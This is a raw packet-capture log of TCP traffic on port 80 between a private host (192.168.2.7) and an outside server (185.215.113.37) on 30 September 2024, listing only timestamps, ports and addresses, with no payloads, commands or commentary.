Sep 30, 2024 15:20:15.314683914 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.314697981 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315143108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315154076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315164089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315174103 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315188885 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315191984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315203905 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315208912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315215111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315223932 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315226078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315237999 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315247059 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315248013 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315258980 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315268040 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315268040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315279961 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315280914 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315289974 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315300941 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315301895 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315318108 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315325022 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315336943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315354109 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315793991 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315803051 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315812111 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315821886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315831900 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315841913 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315843105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315851927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315854073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315865040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315874100 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315875053 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315887928 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315887928 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315898895 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315908909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315910101 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315921068 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315929890 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315931082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315943956 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.315944910 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315963984 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.315982103 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.397697926 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.397715092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.397725105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.397845030 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.397845030 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.398220062 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.398231030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.398241043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.398252010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.398257971 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.398288965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399049997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399100065 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399106979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399117947 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399141073 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399162054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399250984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399261951 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399271965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399281979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399290085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399315119 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399477959 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399487972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399497986 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399507999 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399517059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399518967 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399528027 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399537086 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399542093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399552107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399561882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399563074 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399580002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399585009 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399601936 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399631023 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399801016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399811983 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399821997 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399833918 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399846077 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399857998 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399939060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399955034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399965048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399971008 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.399979115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399990082 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.399996042 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400000095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400008917 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400016069 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400026083 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400034904 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400034904 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400048018 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400048018 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400058985 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400068998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400075912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400079012 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400089979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400099993 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400119066 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400763988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400774002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400784016 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400794029 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400803089 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400808096 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400814056 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400825024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400832891 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400835037 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400840998 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400846958 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400856972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400866032 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400866985 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400885105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400890112 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400896072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400904894 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400907040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400919914 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400928020 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400930882 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400943041 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.400952101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400964022 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.400983095 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401495934 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401506901 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401521921 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401534081 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401540041 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401545048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401555061 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401561975 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401566029 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401572943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401576996 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401587009 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401593924 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401597977 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401607990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401618004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401618958 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401628017 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401633024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401639938 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401649952 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401649952 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401660919 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401669979 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401671886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401681900 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401683092 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401693106 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401701927 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401704073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401715040 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.401724100 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401736021 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.401753902 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402194977 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402231932 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402384996 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402395964 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402405024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402420998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402424097 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402431965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402440071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402443886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402455091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402461052 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402466059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402476072 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402477980 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402488947 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402498007 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402498007 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402508974 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402518988 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402518988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402532101 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402534008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402544975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402551889 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402554989 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402575016 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402586937 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.402987003 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.402997971 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403014898 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403024912 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403028011 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403036118 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403042078 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403048038 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403058052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403064966 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403067112 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403078079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403080940 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403089046 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403099060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403100967 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403110027 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403115034 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403121948 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403130054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403132915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403143883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.403152943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403166056 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.403182983 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.484555960 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484580994 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484591961 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484697104 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.484697104 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.484728098 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484739065 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484749079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484759092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484769106 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.484770060 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.484785080 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.484800100 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.485899925 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.485940933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.485941887 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.485953093 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.485974073 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.485986948 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486063004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486073971 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486083984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486093998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486104012 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486104965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486126900 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486139059 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486310005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486320972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486331940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486351013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486355066 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486362934 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486366987 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486377954 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486383915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486385107 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486388922 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486399889 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486406088 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486411095 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486419916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486485004 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486705065 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486715078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486745119 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486825943 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486835957 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486845970 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486855984 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486866951 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486866951 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486877918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486880064 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486890078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486898899 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486900091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.486921072 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.486932039 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487106085 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487116098 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487127066 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487137079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487143993 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487163067 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487185955 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487196922 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487206936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487216949 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487224102 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487227917 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487237930 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487240076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487260103 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487277985 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487698078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487708092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487718105 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487728119 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487739086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487740993 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487751007 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487755060 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487761974 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487772942 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487778902 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487782001 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487787962 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487793922 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487804890 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487812042 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487814903 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487826109 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487835884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487835884 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487847090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487852097 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487859011 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:15.487865925 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:15.487869024 CEST	80	49699	185.215.113.37	192.168.2.7
